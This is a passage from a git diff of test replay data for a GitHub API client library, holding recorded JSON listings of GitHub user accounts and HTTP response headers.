rsquish/subscriptions","organizations_url":"https://api.github.com/users/sprsquish/orgs","repos_url":"https://api.github.com/users/sprsquish/repos","events_url":"https://api.github.com/users/sprsquish/events{/privacy}","received_events_url":"https://api.github.com/users/sprsquish/received_events","type":"User"},{"login":"codahale","id":207,"avatar_url":"https://secure.gravatar.com/avatar/87206f3bf53d403e16ec023c56e904c5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"87206f3bf53d403e16ec023c56e904c5","url":"https://api.github.com/users/codahale","html_url":"https://github.com/codahale","followers_url":"https://api.github.com/users/codahale/followers","following_url":"https://api.github.com/users/codahale/following{/other_user}","gists_url":"https://api.github.com/users/codahale/gists{/gist_id}","starred_url":"https://api.github.com/users/codahale/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/codahale/subscriptions","organizations_url":"https://api.github.com/users/codahale/orgs","repos_url":"https://api.github.com/users/codahale/repos","events_url":"https://api.github.com/users/codahale/events{/privacy}","received_events_url":"https://api.github.com/users/codahale/received_events","type":"User"},{"login":"zackchandler","id":208,"avatar_url":"https://secure.gravatar.com/avatar/9bd29b4df0b88fba09fb74743336fc1e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"9bd29b4df0b88fba09fb74743336fc1e","url":"https://api.github.com/users/zackchandler","html_url":"https://github.com/zackchandler","followers_url":"https://api.github.com/users/zackchandler/followers","following_url":"https://api.github.com/users/zackchandler/following{/other_user}","gists_url":"https://api.github.com/users/zackchandler/gists{/gist_id}","starred_url":"https://api.github.com/users/zackchandler/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/zackchandler/subscriptions","organizations_url":"https://api.github.com/users/zackchandler/orgs","repos_url":"https://api.github.com/users/zackchandler/repos","events_url":"https://api.github.com/users/zackchandler/events{/privacy}","received_events_url":"https://api.github.com/users/zackchandler/received_events","type":"User"},{"login":"jakehow","id":209,"avatar_url":"https://secure.gravatar.com/avatar/2dc29dd55d41c04abb7979a43078e6b5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2dc29dd55d41c04abb7979a43078e6b5","url":"https://api.github.com/users/jakehow","html_url":"https://github.com/jakehow","followers_url":"https://api.github.com/users/jakehow/followers","following_url":"https://api.github.com/users/jakehow/following{/other_user}","gists_url":"https://api.github.com/users/jakehow/gists{/gist_id}","starred_url":"https://api.github.com/users/jakehow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jakehow/subscriptions","organizations_url":"https://api.github.com/users/jakehow/orgs","repos_url":"https://api.github.com/users/jakehow/repos","events_url":"https://api.github.com/users/jakehow/events{/privacy}","received_events_url":"https://api.github.com/users/jakehow/received_events","type":"User"},{"login":"evan","id":210,"avatar_url":"https://secure.gravatar.com/avatar/f8634aca904bc63cb047cb1bd93bdc74?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"f8634aca904bc63cb047cb1bd93bdc74","url":"https://api.github.com/users/evan","html_url":"https://github.com/evan","followers_url":"https://api.github.com/users/evan/followers","following_url":"https://api.github.com/users/evan/following{/other_user}","gists_url":"https://api.github.com/users/evan/gists{/gist_id}","starred_url":"https://api.github.com/users/evan/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/evan/subscriptions","organizations_url":"https://api.github.com/users/evan/orgs","repos_url":"https://api.github.com/users/evan/repos","events_url":"https://api.github.com/users/evan/events{/privacy}","received_events_url":"https://api.github.com/users/evan/received_events","type":"User"},{"login":"olleolleolle","id":211,"avatar_url":"https://secure.gravatar.com/avatar/577ffaaa74822dddde97e39d72c5d953?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"577ffaaa74822dddde97e39d72c5d953","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User"},{"login":"chrismcg","id":212,"avatar_url":"https://secure.gravatar.com/avatar/0b1b1c3a746a2e346d8cae668b109b6e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"0b1b1c3a746a2e346d8cae668b109b6e","url":"https://api.github.com/users/chrismcg","html_url":"https://github.com/chrismcg","followers_url":"https://api.github.com/users/chrismcg/followers","following_url":"https://api.github.com/users/chrismcg/following{/other_user}","gists_url":"https://api.github.com/users/chrismcg/gists{/gist_id}","starred_url":"https://api.github.com/users/chrismcg/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/chrismcg/subscriptions","organizations_url":"https://api.github.com/users/chrismcg/orgs","repos_url":"https://api.github.com/users/chrismcg/repos","events_url":"https://api.github.com/users/chrismcg/events{/privacy}","received_events_url":"https://api.github.com/users/chrismcg/received_events","type":"User"},{"login":"chuyeow","id":213,"avatar_url":"https://secure.gravatar.com/avatar/00fd4ce27c06ba63e7ddca4c3d67e5ea?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"00fd4ce27c06ba63e7ddca4c3d67e5ea","url":"https://api.github.com/users/chuyeow","html_url":"https://github.com/chuyeow","followers_url":"https://api.github.com/users/chuyeow/followers","following_url":"https://api.github.com/users/chuyeow/following{/other_user}","gists_url":"https://api.github.com/users/chuyeow/gists{/gist_id}","starred_url":"https://api.github.com/users/chuyeow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/chuyeow/subscriptions","organizations_url":"https://api.github.com/users/chuyeow/orgs","repos_url":"https://api.github.com/users/chuyeow/repos","events_url":"https://api.github.com/users/chuyeow/events{/privacy}","received_events_url":"https://api.github.com/users/chuyeow/received_events","type":"User"},{"login":"mloughran","id":214,"avatar_url":"https://secure.gravatar.com/avatar/46bcac797b7a0fb45555cf912d580202?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"46bcac797b7a0fb45555cf912d580202","url":"https://api.github.com/users/mloughran","html_url":"https://github.com/mloughran","followers_url":"https://api.github.com/users/mloughran/followers","following_url":"https://api.github.com/users/mloughran/following{/other_user}","gists_url":"https://api.github.com/users/mloughran/gists{/gist_id}","starred_url":"https://api.github.com/users/mloughran/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/mloughran/subscriptions","organizations_url":"https://api.github.com/users/mloughran/orgs","repos_url":"https://api.github.com/users/mloughran/repos","events_url":"https://api.github.com/users/mloughran/events{/privacy}","received_events_url":"https://api.github.com/users/mloughran/received_events","type":"User"},{"login":"matthewford","id":215,"avatar_url":"https://secure.gravatar.com/avatar/5238fd6b05bebf4fcc4d9863291ae6b4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"5238fd6b05bebf4fcc4d9863291ae6b4","url":"https://api.github.com/users/matthewford","html_url":"https://github.com/matthewford","followers_url":"https://api.github.com/users/matthewford/followers","following_url":"https://api.github.com/users/matthewford/following{/other_user}","gists_url":"https://api.github.com/users/matthewford/gists{/gist_id}","starred_url":"https://api.github.com/users/matthewford/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/matthewford/subscriptions","organizations_url":"https://api.github.com/users/matthewford/orgs","repos_url":"https://api.github.com/users/matthewford/repos","events_url":"https://api.github.com/users/matthewford/events{/privacy}","received_events_url":"https://api.github.com/users/matthewford/received_events","type":"User"},{"login":"henrik","id":216,"avatar_url":"https://secure.gravatar.com/avatar/4a551074ddba4460f95d011c47190d0e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"4a551074ddba4460f95d011c47190d0e","url":"https://api.github.com/users/henrik","html_url":"https://github.com/henrik","followers_url":"https://api.github.com/users/henrik/followers","following_url":"https://api.github.com/users/henrik/following{/other_user}","gists_url":"https://api.github.com/users/henrik/gists{/gist_id}","starred_url":"https://api.github.com/users/henrik/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/henrik/subscriptions","organizations_url":"https://api.github.com/users/henrik/orgs","repos_url":"https://api.github.com/users/henrik/repos","events_url":"https://api.github.com/users/henrik/events{/privacy}","received_events_url":"https://api.github.com/users/henrik/received_events","type":"User"},{"login":"entangledstate","id":217,"avatar_url":"https://secure.gravatar.com/avatar/5a571ddc5f6c3fe0da7d5bef6fe90379?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"5a571ddc5f6c3fe0da7d5bef6fe90379","url":"https://api.github.com/users/entangledstate","html_url":"https://github.com/entangledstate","followers_url":"https://api.github.com/users/entangledstate/followers","following_url":"https://api.github.com/users/entangledstate/following{/other_user}","gists_url":"https://api.github.com/users/entangledstate/gists{/gist_id}","starred_url":"https://api.github.com/users/entangledstate/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/entangledstate/subscriptions","organizations_url":"https://api.github.com/users/entangledstate/orgs","repos_url":"https://api.github.com/users/entangledstate/repos","events_url":"https://api.github.com/users/entangledstate/events{/privacy}","received_events_url":"https://api.github.com/users/entangledstate/received_events","type":"User"},{"login":"acf","id":218,"avatar_url":"https://secure.gravatar.com/avatar/4daf0b71d5d9a3882e583c0e72eaf5dc?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"4daf0b71d5d9a3882e583c0e72eaf5dc","url":"https://api.github.com/users/acf","html_url":"https://github.com/acf","followers_url":"https://api.github.com/users/acf/followers","following_url":"https://api.github.com/users/acf/following{/other_user}","gists_url":"https://api.github.com/users/acf/gists{/gist_id}","starred_url":"https://api.github.com/users/acf/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/acf/subscriptions","organizations_url":"https://api.github.com/users/acf/orgs","repos_url":"https://api.github.com/users/acf/repos","events_url":"https://api.github.com/users/acf/events{/privacy}","received_events_url":"https://api.github.com/users/acf/received_events","type":"User"},{"login":"dan","id":219,"avatar_url":"https://secure.gravatar.com/avatar/ccac01cefa0352e0014a8de5b4efcdfd?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"ccac01cefa0352e0014a8de5b4efcdfd","url":"https://api.github.com/users/dan","html_url":"https://github.com/dan","followers_url":"https://api.github.com/users/dan/followers","following_url":"https://api.github.com/users/dan/following{/other_user}","gists_url":"https://api.github.com/users/dan/gists{/gist_id}","starred_url":"https://api.github.com/users/dan/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dan/subscriptions","organizations_url":"https://api.github.com/users/dan/orgs","repos_url":"https://api.github.com/users/dan/repos","events_url":"https://api.github.com/users/dan/events{/privacy}","received_events_url":"https://api.github.com/users/dan/received_events","type":"User"},{"login":"seebq","id":220,"avatar_url":"https://secure.gravatar.com/avatar/9fbfc1f08cd2a8d73475c384b1882824?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"9fbfc1f08cd2a8d73475c384b1882824","url":"https://api.github.com/users/seebq","html_url":"https://github.com/seebq","followers_url":"https://api.github.com/users/seebq/followers","following_url":"https://api.github.com/users/seebq/following{/other_user}","gists_url":"https://api.github.com/users/seebq/gists{/gist_id}","starred_url":"https://api.github.com/users/seebq/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/seebq/subscriptions","organizations_url":"https://api.github.com/users/seebq/orgs","repos_url":"https://api.github.com/users/seebq/repos","events_url":"https://api.github.com/users/seebq/events{/privacy}","received_events_url":"https://api.github.com/users/seebq/received_events","type":"User"},{"login":"delynn","id":221,"avatar_url":"https://secure.gravatar.com/avatar/81279142caec7e29150fced7f916da62?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"81279142caec7e29150fced7f916da62","url":"https://api.github.com/users/delynn","html_url":"https://github.com/delynn","followers_url":"https://api.github.com/users/delynn/followers","following_url":"https://api.github.com/users/delynn/following{/other_user}","gists_url":"https://api.github.com/users/delynn/gists{/gist_id}","starred_url":"https://api.github.com/users/delynn/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/delynn/subscriptions","organizations_url":"https://api.github.com/users/delynn/orgs","repos_url":"https://api.github.com/users/delynn/repos","events_url":"https://api.github.com/users/delynn/events{/privacy}","received_events_url":"https://api.github.com/users/delynn/received_events","type":"User"},{"login":"spicycode","id":222,"avatar_url":"https://secure.gravatar.com/avatar/7ce90d712fab09421b7f2cf955b9a4c8?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"7ce90d712fab09421b7f2cf955b9a4c8","url":"https://api.github.com/users/spicycode","html_url":"https://github.com/spicycode","followers_url":"https://api.github.com/users/spicycode/followers","following_url":"https://api.github.com/users/spicycode/following{/other_user}","gists_url":"https://api.github.com/users/spicycode/gists{/gist_id}","starred_url":"https://api.github.com/users/spicycode/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/spicycode/subscriptions","organizations_url":"https://api.github.com/users/spicycode/orgs","repos_url":"https://api.github.com/users/spicycode/repos","events_url":"https://api.github.com/users/spicycode/events{/privacy}","received_events_url":"https://api.github.com/users/spicycode/received_events","type":"User"},{"login":"ntalbott","id":223,"avatar_url":"https://secure.gravatar.com/avatar/de4ad5b12586407fd72276710dc0fcb5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"de4ad5b12586407fd72276710dc0fcb5","url":"https://api.github.com/users/ntalbott","html_url":"https://github.com/ntalbott","followers_url":"https://api.github.com/users/ntalbott/followers","following_url":"https://api.github.com/users/ntalbott/following{/other_user}","gists_url":"https://api.github.com/users/ntalbott/gists{/gist_id}","starred_url":"https://api.github.com/users/ntalbott/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ntalbott/subscriptions","organizations_url":"https://api.github.com/users/ntalbott/orgs","repos_url":"https://api.github.com/users/ntalbott/repos","events_url":"https://api.github.com/users/ntalbott/events{/privacy}","received_events_url":"https://api.github.com/users/ntalbott/received_events","type":"User"},{"login":"rdempsey","id":224,"avatar_url":"https://secure.gravatar.com/avatar/8234a5ea3e56fca09c5549ee5e23e3e1?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"8234a5ea3e56fca09c5549ee5e23e3e1","url":"https://api.github.com/users/rdempsey","html_url":"https://github.com/rdempsey","followers_url":"https://api.github.com/users/rdempsey/followers","following_url":"https://api.github.com/users/rdempsey/following{/other_user}","gists_url":"https://api.github.com/users/rdempsey/gists{/gist_id}","starred_url":"https://api.github.com/users/rdempsey/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rdempsey/subscriptions","organizations_url":"https://api.github.com/users/rdempsey/orgs","repos_url":"https://api.github.com/users/rdempsey/repos","events_url":"https://api.github.com/users/rdempsey/events{/privacy}","received_events_url":"https://api.github.com/users/rdempsey/received_events","type":"User"},{"login":"mjankowski","id":225,"avatar_url":"https://secure.gravatar.com/avatar/e535b2456534fcea111ddd58375b7aa9?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e535b2456534fcea111ddd58375b7aa9","url":"https://api.github.com/users/mjankowski","html_url":"https://github.com/mjankowski","followers_url":"https://api.github.com/users/mjankowski/followers","following_url":"https://api.github.com/users/mjankowski/following{/other_user}","gists_url":"https://api.github.com/users/mjankowski/gists{/gist_id}","starred_url":"https://api.github.com/users/mjankowski/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/mjankowski/subscriptions","organizations_url":"https://api.github.com/users/mjankowski/orgs","repos_url":"https://api.github.com/users/mjankowski/repos","events_url":"https://api.github.com/users/mjankowski/events{/privacy}","received_events_url":"https://api.github.com/users/mjankowski/received_events","type":"User"},{"login":"danahern","id":226,"avatar_url":"https://secure.gravatar.com/avatar/c5a551578630f77febda69e391cb2a36?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"c5a551578630f77febda69e391cb2a36","url":"https://api.github.com/users/danahern","html_url":"https://github.com/danahern","followers_url":"https://api.github.com/users/danahern/followers","following_url":"https://api.github.com/users/danahern/following{/other_user}","gists_url":"https://api.github.com/users/danahern/gists{/gist_id}","starred_url":"https://api.github.com/users/danahern/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/danahern/subscriptions","organizations_url":"https://api.github.com/users/danahern/orgs","repos_url":"https://api.github.com/users/danahern/repos","events_url":"https://api.github.com/users/danahern/events{/privacy}","received_events_url":"https://api.github.com/users/danahern/received_events","type":"User"},{"login":"dctanner","id":227,"avatar_url":"https://secure.gravatar.com/avatar/ef40b5b6a8593bb6a0360c0efe00f991?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"ef40b5b6a8593bb6a0360c0efe00f991","url":"https://api.github.com/users/dctanner","html_url":"https://github.com/dctanner","followers_url":"https://api.github.com/users/dctanner/followers","following_url":"https://api.github.com/users/dctanner/following{/other_user}","gists_url":"https://api.github.com/users/dctanner/gists{/gist_id}","starred_url":"https://api.github.com/users/dctanner/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dctanner/subscriptions","organizations_url":"https://api.github.com/users/dctanner/orgs","repos_url":"https://api.github.com/users/dctanner/repos","events_url":"https://api.github.com/users/dctanner/events{/privacy}","received_events_url":"https://api.github.com/users/dctanner/received_events","type":"User"},{"login":"alexvollmer","id":228,"avatar_url":"https://secure.gravatar.com/avatar/0bcaed12375a062b25777bf528cc1539?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"0bcaed12375a062b25777bf528cc1539","url":"https://api.github.com/users/alexvollmer","html_url":"https://github.com/alexvollmer","followers_url":"https://api.github.com/users/alexvollmer/followers","following_url":"https://api.github.com/users/alexvollmer/following{/other_user}","gists_url":"https://api.github.com/users/alexvollmer/gists{/gist_id}","starred_url":"https://api.github.com/users/alexvollmer/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/alexvollmer/subscriptions","organizations_url":"https://api.github.com/users/alexvollmer/orgs","repos_url":"https://api.github.com/users/alexvollmer/repos","events_url":"https://api.github.com/users/alexvollmer/events{/privacy}","received_events_url":"https://api.github.com/users/alexvollmer/received_events","type":"User"},{"login":"RailsAddict","id":229,"avatar_url":"https://secure.gravatar.com/avatar/867657059fc852575d685dc1292f77a0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"867657059fc852575d685dc1292f77a0","url":"https://api.github.com/users/RailsAddict","html_url":"https://github.com/RailsAddict","followers_url":"https://api.github.com/users/RailsAddict/followers","following_url":"https://api.github.com/users/RailsAddict/following{/other_user}","gists_url":"https://api.github.com/users/RailsAddict/gists{/gist_id}","starred_url":"https://api.github.com/users/RailsAddict/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/RailsAddict/subscriptions","organizations_url":"https://api.github.com/users/RailsAddict/orgs","repos_url":"https://api.github.com/users/RailsAddict/repos","events_url":"https://api.github.com/users/RailsAddict/events{/privacy}","received_events_url":"https://api.github.com/users/RailsAddict/received_events","type":"User"},{"login":"scharfie","id":230,"avatar_url":"https://secure.gravatar.com/avatar/828dc634f7493008dbc96c437e54ea2f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"828dc634f7493008dbc96c437e54ea2f","url":"https://api.github.com/users/scharfie","html_url":"https://github.com/scharfie","followers_url":"https://api.github.com/users/scharfie/followers","following_url":"https://api.github.com/users/scharfie/following{/other_user}","gists_url":"https://api.github.com/users/scharfie/gists{/gist_id}","starred_url":"https://api.github.com/users/scharfie/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/scharfie/subscriptions","organizations_url":"https://api.github.com/users/scharfie/orgs","repos_url":"https://api.github.com/users/scharfie/repos","events_url":"https://api.github.com/users/scharfie/events{/privacy}","received_events_url":"https://api.github.com/users/scharfie/received_events","type":"User"},{"login":"jhardy-deleteme","id":231,"avatar_url":"https://secure.gravatar.com/avatar/3c3ae4f2a02a1d48755eceb2b291dcfd?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3c3ae4f2a02a1d48755eceb2b291dcfd","url":"https://api.github.com/users/jhardy-deleteme","html_url":"https://github.com/jhardy-deleteme","followers_url":"https://api.github.com/users/jhardy-deleteme/followers","following_url":"https://api.github.com/users/jhardy-deleteme/following{/other_user}","gists_url":"https://api.github.com/users/jhardy-deleteme/gists{/gist_id}","starred_url":"https://api.github.com/users/jhardy-deleteme/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jhardy-deleteme/subscriptions","organizations_url":"https://api.github.com/users/jhardy-deleteme/orgs","repos_url":"https://api.github.com/users/jhardy-deleteme/repos","events_url":"https://api.github.com/users/jhardy-deleteme/events{/privacy}","received_events_url":"https://api.github.com/users/jhardy-deleteme/received_events","type":"User"},{"login":"daikini","id":232,"avatar_url":"https://secure.gravatar.com/avatar/d1e098b7194f0948f4efe23e8ba404ba?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"d1e098b7194f0948f4efe23e8ba404ba","url":"https://api.github.com/users/daikini","html_url":"https://github.com/daikini","followers_url":"https://api.github.com/users/daikini/followers","following_url":"https://api.github.com/users/daikini/following{/other_user}","gists_url":"https://api.github.com/users/daikini/gists{/gist_id}","starred_url":"https://api.github.com/users/daikini/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/daikini/subscriptions","organizations_url":"https://api.github.com/users/daikini/orgs","repos_url":"https://api.github.com/users/daikini/repos","events_url":"https://api.github.com/users/daikini/events{/privacy}","received_events_url":"https://api.github.com/users/daikini/received_events","type":"User"},{"login":"tdreyno","id":233,"avatar_url":"https://secure.gravatar.com/avatar/291394b477c2824bf5d75b831f125304?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"291394b477c2824bf5d75b831f125304","url":"https://api.github.com/users/tdreyno","html_url":"https://github.com/tdreyno","followers_url":"https://api.github.com/users/tdreyno/followers","following_url":"https://api.github.com/users/tdreyno/following{/other_user}","gists_url":"https://api.github.com/users/tdreyno/gists{/gist_id}","starred_url":"https://api.github.com/users/tdreyno/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/tdreyno/subscriptions","organizations_url":"https://api.github.com/users/tdreyno/orgs","repos_url":"https://api.github.com/users/tdreyno/repos","events_url":"https://api.github.com/users/tdreyno/events{/privacy}","received_events_url":"https://api.github.com/users/tdreyno/received_events","type":"User"},{"login":"mysmallidea","id":234,"avatar_url":"https://secure.gravatar.com/avatar/e53d645e050e733280ee67c8e408042a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e53d645e050e733280ee67c8e408042a","url":"https://api.github.com/users/mysmallidea","html_url":"https://github.com/mysmallidea","followers_url":"https://api.github.com/users/mysmallidea/followers","following_url":"https://api.github.com/users/mysmallidea/following{/other_user}","gists_url":"https://api.github.com/users/mysmallidea/gists{/gist_id}","starred_url":"https://api.github.com/users/mysmallidea/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/mysmallidea/subscriptions","organizations_url":"https://api.github.com/users/mysmallidea/orgs","repos_url":"https://api.github.com/users/mysmallidea/repos","events_url":"https://api.github.com/users/mysmallidea/events{/privacy}","received_events_url":"https://api.github.com/users/mysmallidea/received_events","type":"User"},{"login":"jnunemaker","id":235,"avatar_url":"https://secure.gravatar.com/avatar/3783e88128f2773aa70a8f925d5f795d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3783e88128f2773aa70a8f925d5f795d","url":"https://api.github.com/users/jnunemaker","html_url":"https://github.com/jnunemaker","followers_url":"https://api.github.com/users/jnunemaker/followers","following_url":"https://api.github.com/users/jnunemaker/following{/other_user}","gists_url":"https://api.github.com/users/jnunemaker/gists{/gist_id}","starred_url":"https://api.github.com/users/jnunemaker/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jnunemaker/subscriptions","organizations_url":"https://api.github.com/users/jnunemaker/orgs","repos_url":"https://api.github.com/users/jnunemaker/repos","events_url":"https://api.github.com/users/jnunemaker/events{/privacy}","received_events_url":"https://api.github.com/users/jnunemaker/received_events","type":"User"},{"login":"shayarnett","id":236,"avatar_url":"https://secure.gravatar.com/avatar/bc56e3ab1109d0ac3322d9cdea2bd52c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"bc56e3ab1109d0ac3322d9cdea2bd52c","url":"https://api.github.com/users/shayarnett","html_url":"https://github.com/shayarnett","followers_url":"https://api.github.com/users/shayarnett/followers","following_url":"https://api.github.com/users/shayarnett/following{/other_user}","gists_url":"https://api.github.com/users/shayarnett/gists{/gist_id}","starred_url":"https://api.github.com/users/shayarnett/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/shayarnett/subscriptions","organizations_url":"https://api.github.com/users/shayarnett/orgs","repos_url":"https://api.github.com/users/shayarnett/repos","events_url":"https://api.github.com/users/shayarnett/events{/privacy}","received_events_url":"https://api.github.com/users/shayarnett/received_events","type":"User"},{"login":"chad","id":237,"avatar_url":"https://secure.gravatar.com/avatar/77f306388bb6ae00ac0b0401e27cdc99?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"77f306388bb6ae00ac0b0401e27cdc99","url":"https://api.github.com/users/chad","html_url":"https://github.com/chad","followers_url":"https://api.github.com/users/chad/followers","following_url":"https://api.github.com/users/chad/following{/other_user}","gists_url":"https://api.github.com/users/chad/gists{/gist_id}","starred_url":"https://api.github.com/users/chad/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/chad/subscriptions","organizations_url":"https://api.github.com/users/chad/orgs","repos_url":"https://api.github.com/users/chad/repos","events_url":"https://api.github.com/users/chad/events{/privacy}","received_events_url":"https://api.github.com/users/chad/received_events","type":"User"}] - diff --git a/tests/ReplayData/Github.testGetUsersSince.txt b/tests/ReplayData/Github.testGetUsersSince.txt index 255eb5c175..49b80c9a6f 100644 --- a/tests/ReplayData/Github.testGetUsersSince.txt +++ b/tests/ReplayData/Github.testGetUsersSince.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4995'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('cache-control', 'max-age=0, private, must-revalidate'), ('vary', 'Accept-Encoding'), ('content-length', '98348'), ('server', 'GitHub.com'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="first"'), ('etag', '"cca5d88559ccabed801c053558444403"'), ('access-control-allow-credentials', 'true'), ('date', 'Tue, 18 Jun 2013 15:43:12 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8')] [{"login":"sbecker","id":1001,"avatar_url":"https://secure.gravatar.com/avatar/981b75f949c81efad3bc4b3c4ea88332?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"981b75f949c81efad3bc4b3c4ea88332","url":"https://api.github.com/users/sbecker","html_url":"https://github.com/sbecker","followers_url":"https://api.github.com/users/sbecker/followers","following_url":"https://api.github.com/users/sbecker/following{/other_user}","gists_url":"https://api.github.com/users/sbecker/gists{/gist_id}","starred_url":"https://api.github.com/users/sbecker/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sbecker/subscriptions","organizations_url":"https://api.github.com/users/sbecker/orgs","repos_url":"https://api.github.com/users/sbecker/repos","events_url":"https://api.github.com/users/sbecker/events{/privacy}","received_events_url":"https://api.github.com/users/sbecker/received_events","type":"User"},{"login":"aharper","id":1002,"avatar_url":"https://secure.gravatar.com/avatar/d41d8cd98f00b204e9800998ecf8427e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"d41d8cd98f00b204e9800998ecf8427e","url":"https://api.github.com/users/aharper","html_url":"https://github.com/aharper","followers_url":"https://api.github.com/users/aharper/followers","following_url":"https://api.github.com/users/aharper/following{/other_user}","gists_url":"https://api.github.com/users/aharper/gists{/gist_id}","starred_url":"https://api.github.com/users/aharper/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/aharper/subscriptions","organizations_url":"https://api.github.com/users/aharper/orgs","repos_url":"https://api.github.com/users/aharper/repos","events_url":"https://api.github.com/users/aharper/events{/privacy}","received_events_url":"https://api.github.com/users/aharpe